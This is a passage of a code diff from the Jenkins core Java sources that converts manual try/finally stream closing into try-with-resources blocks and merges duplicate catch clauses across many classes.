"+this+" to "+target,e); @@ -2198,11 +2164,9 @@ public final class FilePath implements Serializable { Future future = target.actAsync(new SecureFileCallable() { private static final long serialVersionUID = 1L; public Void invoke(File f, VirtualChannel channel) throws IOException { - try { - readFromTar(remote + '/' + description, f,TarCompression.GZIP.extract(pipe.getIn())); + try (InputStream in = pipe.getIn()) { + readFromTar(remote + '/' + description, f,TarCompression.GZIP.extract(in)); return null; - } finally { - pipe.getIn().close(); } } }); @@ -2226,10 +2190,8 @@ public final class FilePath implements Serializable { Future future = actAsync(new SecureFileCallable() { private static final long serialVersionUID = 1L; public Integer invoke(File f, VirtualChannel channel) throws IOException { - try { - return writeToTar(f, scanner, TarCompression.GZIP.compress(pipe.getOut())); - } finally { - pipe.getOut().close(); + try (OutputStream out = pipe.getOut()) { + return writeToTar(f, scanner, TarCompression.GZIP.compress(out)); } } }); @@ -2298,14 +2260,13 @@ public final class FilePath implements Serializable { * @since TODO supports large files > 10 GB, migration to commons-compress */ private void readFromTar(String name, File baseDir, InputStream in) throws IOException { - TarArchiveInputStream t = new TarArchiveInputStream(in); - + // TarInputStream t = new TarInputStream(in); - try { + try (TarArchiveInputStream t = new TarArchiveInputStream(in)) { TarArchiveEntry te; while ((te = t.getNextTarEntry()) != null) { - File f = new File(baseDir,te.getName()); - if(te.isDirectory()) { + File f = new File(baseDir, te.getName()); + if (te.isDirectory()) { mkdirs(f); } else { File parent = f.getParentFile(); @@ -2315,22 +2276,20 @@ public final class FilePath implements Serializable { if (te.isSymbolicLink()) { new FilePath(f).symlinkTo(te.getLinkName(), TaskListener.NULL); } else { - IOUtils.copy(t,f); + IOUtils.copy(t, f); f.setLastModified(te.getModTime().getTime()); - int mode = te.getMode()&0777; - if(mode!=0 && !Functions.isWindows()) // be defensive - _chmod(f,mode); + int mode = te.getMode() & 0777; + if (mode != 0 && !Functions.isWindows()) // be defensive + _chmod(f, mode); } } } - } catch(IOException e) { - throw new IOException("Failed to extract "+name,e); + } catch (IOException e) { + throw new IOException("Failed to extract " + name, e); } catch (InterruptedException e) { Thread.currentThread().interrupt(); // process this later - throw new IOException("Failed to extract "+name,e); - } finally { - t.close(); + throw new IOException("Failed to extract " + name, e); } } diff --git a/core/src/main/java/hudson/FileSystemProvisioner.java b/core/src/main/java/hudson/FileSystemProvisioner.java index 60978a0048..8b9967e2bb 100644 --- a/core/src/main/java/hudson/FileSystemProvisioner.java +++ b/core/src/main/java/hudson/FileSystemProvisioner.java @@ -215,11 +215,8 @@ public abstract class FileSystemProvisioner implements ExtensionPoint, Describab */ public WorkspaceSnapshot snapshot(AbstractBuild build, FilePath ws, String glob, TaskListener listener) throws IOException, InterruptedException { File wss = new File(build.getRootDir(),"workspace.tgz"); - OutputStream os = new BufferedOutputStream(new FileOutputStream(wss)); - try { - ws.archive(ArchiverFactory.TARGZ,os,glob); - } finally { - os.close(); + try (OutputStream os = new BufferedOutputStream(new FileOutputStream(wss))) { + ws.archive(ArchiverFactory.TARGZ, os, glob); } return new WorkspaceSnapshotImpl(); } diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index 28f91a6740..9c26aae26c 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -708,11 +708,8 @@ public class PluginWrapper implements Comparable, ModelObject { File backup = getBackupFile(); if (backup.exists()) { try { - JarFile backupPlugin = new JarFile(backup); - try { + try (JarFile backupPlugin = new JarFile(backup)) { return backupPlugin.getManifest().getMainAttributes().getValue("Plugin-Version"); - } finally { - backupPlugin.close(); } } catch (IOException e) { LOGGER.log(WARNING, "Failed to get backup version from " + backup, e); diff --git a/core/src/main/java/hudson/Util.java b/core/src/main/java/hudson/Util.java index f0afeae5c6..f8e0205889 100644 --- a/core/src/main/java/hudson/Util.java +++ b/core/src/main/java/hudson/Util.java @@ -198,14 +198,11 @@ public class Util { StringBuilder str = new StringBuilder((int)logfile.length()); - BufferedReader r = new BufferedReader(new InputStreamReader(new FileInputStream(logfile),charset)); - try { + try (BufferedReader r = new BufferedReader(new InputStreamReader(new FileInputStream(logfile), charset))) { char[] buf = new char[1024]; int len; - while((len=r.read(buf,0,buf.length))>0) - str.append(buf,0,len); - } finally { - r.close(); + while ((len = r.read(buf, 0, buf.length)) > 0) + str.append(buf, 0, len); } return str.toString(); @@ -768,12 +765,9 @@ public class Util { MessageDigest md5 = MessageDigest.getInstance("MD5"); byte[] buffer = new byte[1024]; - DigestInputStream in =new DigestInputStream(source,md5); - try { - while(in.read(buffer)>=0) + try (DigestInputStream in = new DigestInputStream(source, md5)) { + while (in.read(buffer) >= 0) ; // simply discard the input - } finally { - in.close(); } return toHexString(md5.digest()); } catch (NoSuchAlgorithmException e) { @@ -806,11 +800,8 @@ public class Util { */ @Nonnull public static String getDigestOf(@Nonnull File file) throws IOException { - InputStream is = new FileInputStream(file); - try { + try (InputStream is = new FileInputStream(file)) { return getDigestOf(new BufferedInputStream(is)); - } finally { - is.close(); } } diff --git a/core/src/main/java/hudson/XmlFile.java b/core/src/main/java/hudson/XmlFile.java index 00eae060e9..0e7f4ee96a 100644 --- a/core/src/main/java/hudson/XmlFile.java +++ b/core/src/main/java/hudson/XmlFile.java @@ -137,15 +137,10 @@ public final class XmlFile { if (LOGGER.isLoggable(Level.FINE)) { LOGGER.fine("Reading "+file); } - InputStream in = new BufferedInputStream(new FileInputStream(file)); - try { + try (InputStream in = new BufferedInputStream(new FileInputStream(file))) { return xs.fromXML(in); - } catch (XStreamException e) { - throw new IOException("Unable to read "+file,e); - } catch(Error e) {// mostly reflection errors + } catch (XStreamException | Error e) { throw new IOException("Unable to read "+file,e); - } finally { - in.close(); } } @@ -157,16 +152,12 @@ public final class XmlFile { * if the XML representation is completely new. */ public Object unmarshal( Object o ) throws IOException { - InputStream in = new BufferedInputStream(new FileInputStream(file)); - try { + + try (InputStream in = new BufferedInputStream(new FileInputStream(file))) { // TODO: expose XStream the driver from XStream return xs.unmarshal(DEFAULT_DRIVER.createReader(in), o); - } catch (XStreamException e) { - throw new IOException("Unable to read "+file,e); - } catch(Error e) {// mostly reflection errors + } catch (XStreamException | Error e) { throw new IOException("Unable to read "+file,e); - } finally { - in.close(); } } @@ -224,11 +215,8 @@ public final class XmlFile { * Writer will not be closed by the implementation. */ public void writeRawTo(Writer w) throws IOException { - Reader r = readRaw(); - try { - Util.copyStream(r,w); - } finally { - r.close(); + try (Reader r = readRaw()) { + Util.copyStream(r, w); } } @@ -247,10 +235,10 @@ public final class XmlFile { this.encoding = encoding; } } - InputSource input = new InputSource(file.toURI().toASCIIString()); - input.setByteStream(new FileInputStream(file)); - try { + try (InputStream in = new FileInputStream(file)) { + InputSource input = new InputSource(file.toURI().toASCIIString()); + input.setByteStream(in); JAXP.newSAXParser().parse(input,new DefaultHandler() { private Locator loc; @Override @@ -292,9 +280,6 @@ public final class XmlFile { throw new IOException("Failed to detect encoding of "+file,e); } catch (ParserConfigurationException e) { throw new AssertionError(e); // impossible - } finally { - // some JAXP implementations appear to leak the file handle if we just call parse(File,DefaultHandler) - input.getByteStream().close(); } } diff --git a/core/src/main/java/hudson/cli/ClientAuthenticationCache.java b/core/src/main/java/hudson/cli/ClientAuthenticationCache.java index 7c2127bc6d..fb75441786 100644 --- a/core/src/main/java/hudson/cli/ClientAuthenticationCache.java +++ b/core/src/main/java/hudson/cli/ClientAuthenticationCache.java @@ -51,11 +51,8 @@ public class ClientAuthenticationCache implements Serializable { } }); if (store.exists()) { - InputStream istream = store.read(); - try { + try (InputStream istream = store.read()) { props.load(istream); - } finally { - istream.close(); } } } @@ -109,11 +106,8 @@ public class ClientAuthenticationCache implements Serializable { } private void save() throws IOException, InterruptedException { - OutputStream os = store.write(); - try { - props.store(os,"Credential store"); - } finally { - os.close(); + try (OutputStream os = store.write()) { + props.store(os, "Credential store"); } // try to protect this file from other users, if we can. store.chmod(0600); diff --git a/core/src/main/java/hudson/cli/ConsoleCommand.java b/core/src/main/java/hudson/cli/ConsoleCommand.java index 92fd0e74c6..f4c3f719b5 100644 --- a/core/src/main/java/hudson/cli/ConsoleCommand.java +++ b/core/src/main/java/hudson/cli/ConsoleCommand.java @@ -78,12 +78,9 @@ public class ConsoleCommand extends CLICommand { pos = logText.writeLogTo(pos, w); } while (!logText.isComplete()); } else { - InputStream logInputStream = run.getLogInputStream(); - try { - IOUtils.skip(logInputStream,pos); - org.apache.commons.io.IOUtils.copy(new InputStreamReader(logInputStream,run.getCharset()),w); - } finally { - logInputStream.close(); + try (InputStream logInputStream = run.getLogInputStream()) { + IOUtils.skip(logInputStream, pos); + IOUtils.copy(new InputStreamReader(logInputStream, run.getCharset()), w); } } } finally { diff --git a/core/src/main/java/hudson/cli/util/ScriptLoader.java b/core/src/main/java/hudson/cli/util/ScriptLoader.java index e2252efbd5..8484c1e959 100644 --- a/core/src/main/java/hudson/cli/util/ScriptLoader.java +++ b/core/src/main/java/hudson/cli/util/ScriptLoader.java @@ -35,11 +35,8 @@ public class ScriptLoader extends MasterToSlaveCallable { } catch (MalformedURLException e) { throw new AbortException("Unable to find a script "+script); } - InputStream s = url.openStream(); - try { + try (InputStream s = url.openStream()) { return IOUtils.toString(s); - } finally { - s.close(); } } } diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index c27fec6364..7ef15fee93 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -170,11 +170,8 @@ public abstract class ConsoleNote implements Serializable, Describable implements Serializable, Describable'+getHudsonWar().getAbsolutePath()+'\n'); - } finally { - w.close(); + try (FileWriter w = new FileWriter(copyFiles, true)) { + w.write(by.getAbsolutePath() + '>' + getHudsonWar().getAbsolutePath() + '\n'); } } diff --git a/core/src/main/java/hudson/model/AbstractItem.java b/core/src/main/java/hudson/model/AbstractItem.java index 3dd2b32603..9bcfb70184 100644 --- a/core/src/main/java/hudson/model/AbstractItem.java +++ b/core/src/main/java/hudson/model/AbstractItem.java @@ -673,9 +673,7 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet try { XMLUtils.safeTransform(source, new StreamResult(out)); out.close(); - } catch (TransformerException e) { - throw new IOException("Failed to persist config.xml", e); - } catch (SAXException e) { + } catch (TransformerException | SAXException e) { throw new IOException("Failed to persist config.xml", e); } diff --git a/core/src/main/java/hudson/model/Api.java b/core/src/main/java/hudson/model/Api.java index 258f48ffea..6878a4284a 100644 --- a/core/src/main/java/hudson/model/Api.java +++ b/core/src/main/java/hudson/model/Api.java @@ -169,8 +169,7 @@ public class Api extends AbstractModelObject { } // switch to gzipped output - OutputStream o = rsp.getCompressedOutputStream(req); - try { + try (OutputStream o = rsp.getCompressedOutputStream(req)) { if (isSimpleOutput(result)) { // simple output allowed rsp.setContentType("text/plain;charset=UTF-8"); @@ -182,8 +181,6 @@ public class Api extends AbstractModelObject { // otherwise XML rsp.setContentType("application/xml;charset=UTF-8"); new XMLWriter(o).write(result); - } finally { - o.close(); } } diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index 00f52e197c..226ad5fb48 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -1365,19 +1365,19 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces checkPermission(Jenkins.ADMINISTER); rsp.setContentType("text/plain"); - PrintWriter w = new PrintWriter(rsp.getCompressedWriter(req)); - VirtualChannel vc = getChannel(); - if (vc instanceof Channel) { - w.println("Master to slave"); - ((Channel)vc).dumpExportTable(w); - w.flush(); // flush here once so that even if the dump from the agent fails, the client gets some useful info - - w.println("\n\n\nSlave to master"); - w.print(vc.call(new DumpExportTableTask())); - } else { - w.println(Messages.Computer_BadChannel()); + try (PrintWriter w = new PrintWriter(rsp.getCompressedWriter(req))) { + VirtualChannel vc = getChannel(); + if (vc instanceof Channel) { + w.println("Master to slave"); + ((Channel) vc).dumpExportTable(w); + w.flush(); // flush here once so that even if the dump from the agent fails, the client gets some useful info + + w.println("\n\n\nSlave to master"); + w.print(vc.call(new DumpExportTableTask())); + } else { + w.println(Messages.Computer_BadChannel()); + } } - w.close(); } private static final class DumpExportTableTask extends MasterToSlaveCallable { diff --git a/core/src/main/java/hudson/model/DirectoryBrowserSupport.java b/core/src/main/java/hudson/model/DirectoryBrowserSupport.java index bf7885030d..418efca879 100644 --- a/core/src/main/java/hudson/model/DirectoryBrowserSupport.java +++ b/core/src/main/java/hudson/model/DirectoryBrowserSupport.java @@ -223,8 +223,7 @@ public final class DirectoryBrowserSupport implements HttpResponse { } if (plain) { rsp.setContentType("text/plain;charset=UTF-8"); - OutputStream os = rsp.getOutputStream(); - try { + try (OutputStream os = rsp.getOutputStream()) { for (VirtualFile kid : baseFile.list()) { os.write(kid.getName().getBytes("UTF-8")); if (kid.isDirectory()) { @@ -233,8 +232,6 @@ public final class DirectoryBrowserSupport implements HttpResponse { os.write('\n'); } os.flush(); - } finally { - os.close(); } return; } @@ -356,33 +353,33 @@ public final class DirectoryBrowserSupport implements HttpResponse { } private static void zip(OutputStream outputStream, VirtualFile dir, String glob) throws IOException { - ZipOutputStream zos = new ZipOutputStream(outputStream); - zos.setEncoding(System.getProperty("file.encoding")); // TODO JENKINS-20663 make this overridable via query parameter - for (String n : dir.list(glob.length() == 0 ? "**" : glob)) { - String relativePath; - if (glob.length() == 0) { - // JENKINS-19947: traditional behavior is to prepend the directory name - relativePath = dir.getName() + '/' + n; - } else { - relativePath = n; - } - // In ZIP archives "All slashes MUST be forward slashes" (http://pkware.com/documents/casestudies/APPNOTE.TXT) - // TODO On Linux file names can contain backslashes which should not treated as file separators. - // Unfortunately, only the file separator char of the master is known (File.separatorChar) - // but not the file separator char of the (maybe remote) "dir". - ZipEntry e = new ZipEntry(relativePath.replace('\\', '/')); - VirtualFile f = dir.child(n); - e.setTime(f.lastModified()); - zos.putNextEntry(e); - InputStream in = f.open(); - try { - Util.copyStream(in, zos); - } finally { - IOUtils.closeQuietly(in); + try (ZipOutputStream zos = new ZipOutputStream(outputStream)) { + zos.setEncoding(System.getProperty("file.encoding")); // TODO JENKINS-20663 make this overridable via query parameter + for (String n : dir.list(glob.length() == 0 ? "**" : glob)) { + String relativePath; + if (glob.length() == 0) { + // JENKINS-19947: traditional behavior is to prepend the directory name + relativePath = dir.getName() + '/' + n; + } else { + relativePath = n; + } + // In ZIP archives "All slashes MUST be forward slashes" (http://pkware.com/documents/casestudies/APPNOTE.TXT) + // TODO On Linux file names can contain backslashes which should not treated as file separators. + // Unfortunately, only the file separator char of the master is known (File.separatorChar) + // but not the file separator char of the (maybe remote) "dir". + ZipEntry e = new ZipEntry(relativePath.replace('\\', '/')); + VirtualFile f = dir.child(n); + e.setTime(f.lastModified()); + zos.putNextEntry(e); + InputStream in = f.open(); + try { + Util.copyStream(in, zos); + } finally { + IOUtils.closeQuietly(in); + } + zos.closeEntry(); } - zos.closeEntry(); } - zos.close(); } /** diff --git a/core/src/main/java/hudson/model/DownloadService.java b/core/src/main/java/hudson/model/DownloadService.java index 52da67e9d3..d7fda884aa 100644 --- a/core/src/main/java/hudson/model/DownloadService.java +++ b/core/src/main/java/hudson/model/DownloadService.java @@ -168,8 +168,7 @@ public class DownloadService extends PageDecorator { */ @Restricted(NoExternalUse.class) public static String loadJSON(URL src) throws IOException { - InputStream is = ProxyConfiguration.open(src).getInputStream(); - try { + try (InputStream is = ProxyConfiguration.open(src).getInputStream()) { String jsonp = IOUtils.toString(is, "UTF-8"); int start = jsonp.indexOf('{'); int end = jsonp.lastIndexOf('}'); @@ -178,8 +177,6 @@ public class DownloadService extends PageDecorator { } else { throw new IOException("Could not find JSON in " + src); } - } finally { - is.close(); } } @@ -191,8 +188,7 @@ public class DownloadService extends PageDecorator { */ @Restricted(NoExternalUse.class) public static String loadJSONHTML(URL src) throws IOException { - InputStream is = ProxyConfiguration.open(src).getInputStream(); - try { + try (InputStream is = ProxyConfiguration.open(src).getInputStream()) { String jsonp = IOUtils.toString(is, "UTF-8"); String preamble = "window.parent.postMessage(JSON.stringify("; int start = jsonp.indexOf(preamble); @@ -202,8 +198,6 @@ public class DownloadService extends PageDecorator { } else { throw new IOException("Could not find JSON in " + src); } - } finally { - is.close(); } } diff --git a/core/src/main/java/hudson/model/Executor.java b/core/src/main/java/hudson/model/Executor.java index df27abaab7..03b146908c 100644 --- a/core/src/main/java/hudson/model/Executor.java +++ b/core/src/main/java/hudson/model/Executor.java @@ -282,19 +282,16 @@ public class Executor extends Thread implements ModelObject { */ private void resetWorkUnit(String reason) { StringWriter writer = new StringWriter(); - PrintWriter pw = new PrintWriter(writer); - try { + try (PrintWriter pw = new PrintWriter(writer)) { pw.printf("%s grabbed %s from queue but %s %s. ", getName(), workUnit, owner.getDisplayName(), reason); if (owner.getTerminatedBy().isEmpty()) { pw.print("No termination trace available."); } else { pw.println("Termination trace follows:"); - for (Computer.TerminationRequest request: owner.getTerminatedBy()) { + for (Computer.TerminationRequest request : owner.getTerminatedBy()) { request.printStackTrace(pw); } } - } finally { - pw.close(); } LOGGER.log(WARNING, writer.toString()); lock.writeLock().lock(); diff --git a/core/src/main/java/hudson/model/FileParameterValue.java b/core/src/main/java/hudson/model/FileParameterValue.java index 930eb41fd8..817b671415 100644 --- a/core/src/main/java/hudson/model/FileParameterValue.java +++ b/core/src/main/java/hudson/model/FileParameterValue.java @@ -266,11 +266,8 @@ public class FileParameterValue extends ParameterValue { public byte[] get() { try { - FileInputStream inputStream = new FileInputStream(file); - try { + try (FileInputStream inputStream = new FileInputStream(file)) { return IOUtils.toByteArray(inputStream); - } finally { - inputStream.close(); } } catch (IOException e) { throw new Error(e); diff --git a/core/src/main/java/hudson/model/LargeText.java b/core/src/main/java/hudson/model/LargeText.java index 4ad5bdf844..705c0242ef 100644 --- a/core/src/main/java/hudson/model/LargeText.java +++ b/core/src/main/java/hudson/model/LargeText.java @@ -26,6 +26,7 @@ package hudson.model; import hudson.util.ByteBuffer; import hudson.util.CharSpool; import hudson.util.LineEndNormalizingWriter; +import org.apache.commons.fileupload.util.Closeable; import org.kohsuke.stapler.StaplerRequest; import org.kohsuke.stapler.StaplerResponse; import org.kohsuke.stapler.framework.io.WriterOutputStream; @@ -146,27 +147,26 @@ public class LargeText { public long writeLogTo(long start, Writer w) throws IOException { CountingOutputStream os = new CountingOutputStream(new WriterOutputStream(w)); - Session f = source.open(); - f.skip(start); - - if(completed) { - // write everything till EOF - byte[] buf = new byte[1024]; - int sz; - while((sz=f.read(buf))>=0) - os.write(buf,0,sz); - } else { - ByteBuf buf = new ByteBuf(null,f); - HeadMark head = new HeadMark(buf); - TailMark tail = new TailMark(buf); - - while(tail.moveToNextLine(f)) { - head.moveTo(tail,os); + try (Session f = source.open()) { + f.skip(start); + + if (completed) { + // write everything till EOF + byte[] buf = new byte[1024]; + int sz; + while ((sz = f.read(buf)) >= 0) + os.write(buf, 0, sz); + } else { + ByteBuf buf = new ByteBuf(null, f); + HeadMark head = new HeadMark(buf); + TailMark tail = new TailMark(buf); + + while (tail.moveToNextLine(f)) { + head.moveTo(tail, os); + } + head.finish(os); } - head.finish(os); } - - f.close(); os.flush(); return os.getCount()+start; @@ -308,7 +308,7 @@ public class LargeText { * Represents the read session of the {@link Source}. * Methods generally follow the contracts of {@link InputStream}. */ - private interface Session { + private interface Session extends AutoCloseable { void close() throws IOException; void skip(long start) throws IOException; int read(byte[] buf) throws IOException; diff --git a/core/src/main/java/hudson/model/Queue.java b/core/src/main/java/hudson/model/Queue.java index 282beb8621..28e24f8f2e 100644 --- a/core/src/main/java/hudson/model/Queue.java +++ b/core/src/main/java/hudson/model/Queue.java @@ -351,16 +351,13 @@ public class Queue extends ResourceController implements Saveable { // first try the old format File queueFile = getQueueFile(); if (queueFile.exists()) { - BufferedReader in = new BufferedReader(new InputStreamReader(new FileInputStream(queueFile))); - try { + try (BufferedReader in = new BufferedReader(new InputStreamReader(new FileInputStream(queueFile)))) { String line; while ((line = in.readLine()) != null) { AbstractProject j = Jenkins.getInstance().getItemByFullName(line, AbstractProject.class); if (j != null) j.scheduleBuild(); } - } finally { - in.close(); } // discard the queue file now that we are done queueFile.delete(); diff --git a/core/src/main/java/hudson/model/RSS.java b/core/src/main/java/hudson/model/RSS.java index 553a21c85a..bc36830e29 100644 --- a/core/src/main/java/hudson/model/RSS.java +++ b/core/src/main/java/hudson/model/RSS.java @@ -50,14 +50,14 @@ public final class RSS { rsp.setStatus(HttpServletResponse.SC_OK); rsp.setContentType("application/xml; charset=UTF-8"); - PrintWriter pw = rsp.getWriter(); - pw.println(""); - pw.println(""+(url!=null?0:1)+""); - if(url==null) { - pw.println("url must be specified"); + try (PrintWriter pw = rsp.getWriter()) { + pw.println(""); + pw.println("" + (url != null ? 0 : 1) + ""); + if (url == null) { + pw.println("url must be specified"); + } + pw.println(""); } - pw.println(""); - pw.close(); } /** diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index dad840bf3a..74aa283656 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -1935,8 +1935,7 @@ public abstract class Run ,RunT extends Run,RunT extends Run maxLines) logLines.remove(0); } - } finally { - reader.close(); } // If the log has been truncated, include that information. diff --git a/core/src/main/java/hudson/model/Slave.java b/core/src/main/java/hudson/model/Slave.java index 76fefa1fe1..4eb813f6eb 100644 --- a/core/src/main/java/hudson/model/Slave.java +++ b/core/src/main/java/hudson/model/Slave.java @@ -394,11 +394,8 @@ public abstract class Slave extends Node implements Serializable { } public byte[] readFully() throws IOException { - InputStream in = connect().getInputStream(); - try { + try (InputStream in = connect().getInputStream()) { return IOUtils.toByteArray(in); - } finally { - in.close(); } } diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index cd793c9f64..8ecd72dd89 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -752,14 +752,11 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas */ public String getBackupVersion() { try { - JarFile backupWar = new JarFile(new File(Lifecycle.get().getHudsonWar() + ".bak")); - try { + try (JarFile backupWar = new JarFile(new File(Lifecycle.get().getHudsonWar() + ".bak"))) { Attributes attrs = backupWar.getManifest().getMainAttributes(); String v = attrs.getValue("Jenkins-Version"); - if (v==null) v = attrs.getValue("Hudson-Version"); + if (v == null) v = attrs.getValue("Hudson-Version"); return v; - } finally { - backupWar.close(); } } catch (IOException e) { LOGGER.log(Level.WARNING, "Failed to read backup version ", e); diff --git a/core/src/main/java/hudson/model/View.java b/core/src/main/java/hudson/model/View.java index abb96724db..cffb079036 100644 --- a/core/src/main/java/hudson/model/View.java +++ b/core/src/main/java/hudson/model/View.java @@ -1156,28 +1156,20 @@ public abstract class View extends AbstractModelObject implements AccessControll // data XMLUtils.safeTransform(source, new StreamResult(out)); out.close(); - } catch (TransformerException e) { - throw new IOException("Failed to persist configuration.xml", e); - } catch (SAXException e) { + } catch (TransformerException|SAXException e) { throw new IOException("Failed to persist configuration.xml", e); } // try to reflect the changes by reloading - InputStream in = new BufferedInputStream(new ByteArrayInputStream(out.toString().getBytes("UTF-8"))); - try { + + try (InputStream in = new BufferedInputStream(new ByteArrayInputStream(out.toString().getBytes("UTF-8")))){ // Do not allow overwriting view name as it might collide with another // view in same ViewGroup and might not satisfy Jenkins.checkGoodName. String oldname = name; Jenkins.XSTREAM.unmarshal(new XppDriver().createReader(in), this); name = oldname; - } catch (StreamException e) { - throw new IOException("Unable to read",e); - } catch(ConversionException e) { - throw new IOException("Unable to read",e); - } catch(Error e) {// mostly reflection errors + } catch (StreamException | ConversionException | Error e) {// mostly reflection errors throw new IOException("Unable to read",e); - } finally { - in.close(); } save(); } @@ -1302,20 +1294,14 @@ public abstract class View extends AbstractModelObject implements AccessControll * @param name Alternative name to use or null to keep the one in xml. */ public static View createViewFromXML(String name, InputStream xml) throws IOException { - InputStream in = new BufferedInputStream(xml); - try { + + try (InputStream in = new BufferedInputStream(xml)) { View v = (View) Jenkins.XSTREAM.fromXML(in); if (name != null) v.name = name; checkGoodName(v.name); return v; - } catch(StreamException e) { - throw new IOException("Unable to read",e); - } catch(ConversionException e) { - throw new IOException("Unable to read",e); - } catch(Error e) {// mostly reflection errors + } catch(StreamException|ConversionException|Error e) {// mostly reflection errors throw new IOException("Unable to read",e); - } finally { - in.close(); } } diff --git a/core/src/main/java/hudson/security/csrf/CrumbIssuer.java b/core/src/main/java/hudson/security/csrf/CrumbIssuer.java index 3d80b1a5b6..349e69a136 100644 --- a/core/src/main/java/hudson/security/csrf/CrumbIssuer.java +++ b/core/src/main/java/hudson/security/csrf/CrumbIssuer.java @@ -211,12 +211,9 @@ public abstract class CrumbIssuer implements Describable, Extension text = null; } if (text != null) { - OutputStream o = rsp.getCompressedOutputStream(req); - try { + try (OutputStream o = rsp.getCompressedOutputStream(req)) { rsp.setContentType("text/plain;charset=UTF-8"); o.write(text.getBytes("UTF-8")); - } finally { - o.close(); } } else { super.doXml(req, rsp, xpath, wrapper, tree, depth); diff --git a/core/src/main/java/hudson/tools/JDKInstaller.java b/core/src/main/java/hudson/tools/JDKInstaller.java index 8a42e7e1ca..c77ce7e957 100644 --- a/core/src/main/java/hudson/tools/JDKInstaller.java +++ b/core/src/main/java/hudson/tools/JDKInstaller.java @@ -273,11 +273,8 @@ public class JDKInstaller extends ToolInstaller { if (r != 0) { out.println(Messages.JDKInstaller_FailedToInstallJDK(r)); // log file is in UTF-16 - InputStreamReader in = new InputStreamReader(fs.read(logFile), "UTF-16"); - try { - IOUtils.copy(in,new OutputStreamWriter(out)); - } finally { - in.close(); + try (InputStreamReader in = new InputStreamReader(fs.read(logFile), "UTF-16")) { + IOUtils.copy(in, new OutputStreamWriter(out)); } throw new AbortException(); } @@ -521,11 +518,8 @@ public class JDKInstaller extends ToolInstaller { File tmp = new File(cache.getPath()+".tmp"); try { tmp.getParentFile().mkdirs(); - FileOutputStream out = new FileOutputStream(tmp); - try { + try (FileOutputStream out = new FileOutputStream(tmp)) { IOUtils.copy(m.getResponseBodyAsStream(), out); - } finally { - out.close(); } tmp.renameTo(cache); diff --git a/core/src/main/java/hudson/util/BootFailure.java b/core/src/main/java/hudson/util/BootFailure.java index eefb4da819..8d1055b1c2 100644 --- a/core/src/main/java/hudson/util/BootFailure.java +++ b/core/src/main/java/hudson/util/BootFailure.java @@ -60,8 +60,7 @@ public abstract class BootFailure extends ErrorObject { File f = getBootFailureFile(home); try { if (f.exists()) { - BufferedReader failureFileReader = new BufferedReader(new FileReader(f)); - try { + try (BufferedReader failureFileReader = new BufferedReader(new FileReader(f))) { String line; while ((line=failureFileReader.readLine())!=null) { try { @@ -70,8 +69,6 @@ public abstract class BootFailure extends ErrorObject { // ignore any parse error } } - } finally { - failureFileReader.close(); } } } catch (IOException e) { diff --git a/core/src/main/java/hudson/util/CompressedFile.java b/core/src/main/java/hudson/util/CompressedFile.java index b6ccf22c30..fb691e298d 100644 --- a/core/src/main/java/hudson/util/CompressedFile.java +++ b/core/src/main/java/hudson/util/CompressedFile.java @@ -138,13 +138,8 @@ public class CompressedFile { compressionThread.submit(new Runnable() { public void run() { try { - InputStream in = read(); - OutputStream out = new GZIPOutputStream(new FileOutputStream(gz)); - try { - Util.copyStream(in,out); - } finally { - in.close(); - out.close(); + try (InputStream in = read(); OutputStream out = new GZIPOutputStream(new FileOutputStream(gz))) { + Util.copyStream(in, out); } // if the compressed file is created successfully, remove the original file.delete(); diff --git a/core/src/main/java/hudson/util/IOUtils.java b/core/src/main/java/hudson/util/IOUtils.java index b8edc31242..221004fd11 100644 --- a/core/src/main/java/hudson/util/IOUtils.java +++ b/core/src/main/java/hudson/util/IOUtils.java @@ -136,12 +136,9 @@ public class IOUtils { * @since 1.422 */ public static String readFirstLine(InputStream is, String encoding) throws IOException { - BufferedReader reader = new BufferedReader( - encoding==null ? new InputStreamReader(is) : new InputStreamReader(is,encoding)); - try { + try (BufferedReader reader = new BufferedReader( + encoding == null ? new InputStreamReader(is) : new InputStreamReader(is, encoding))) { return reader.readLine(); - } finally { - reader.close(); } } diff --git a/core/src/main/java/hudson/util/SecretRewriter.java b/core/src/main/java/hudson/util/SecretRewriter.java index 0ee05dc869..45e5b6ae27 100644 --- a/core/src/main/java/hudson/util/SecretRewriter.java +++ b/core/src/main/java/hudson/util/SecretRewriter.java @@ -79,42 +79,36 @@ public class SecretRewriter { public boolean rewrite(File f, File backup) throws InvalidKeyException, IOException { AtomicFileWriter w = new AtomicFileWriter(f, "UTF-8"); try { - PrintWriter out = new PrintWriter(new BufferedWriter(w)); boolean modified = false; // did we actually change anything? - try { - FileInputStream fin = new FileInputStream(f); - try { + try (PrintWriter out = new PrintWriter(new BufferedWriter(w))) { + try (FileInputStream fin = new FileInputStream(f)) { BufferedReader r = new BufferedReader(new InputStreamReader(fin, "UTF-8")); String line; StringBuilder buf = new StringBuilder(); - while ((line=r.readLine())!=null) { - int copied=0; + while ((line = r.readLine()) != null) { + int copied = 0; buf.setLength(0); while (true) { - int sidx = line.indexOf('>',copied); - if (sidx<0) break; - int eidx = line.indexOf('<',sidx); - if (eidx<0) break; + int sidx = line.indexOf('>', copied); + if (sidx < 0) break; + int eidx = line.indexOf('<', sidx); + if (eidx < 0) break; - String elementText = line.substring(sidx+1,eidx); + String elementText = line.substring(sidx + 1, eidx); String replacement = tryRewrite(elementText); if (!replacement.equals(elementText)) modified = true; - buf.append(line.substring(copied,sidx+1)); + buf.append(line.substring(copied, sidx + 1)); buf.append(replacement); copied = 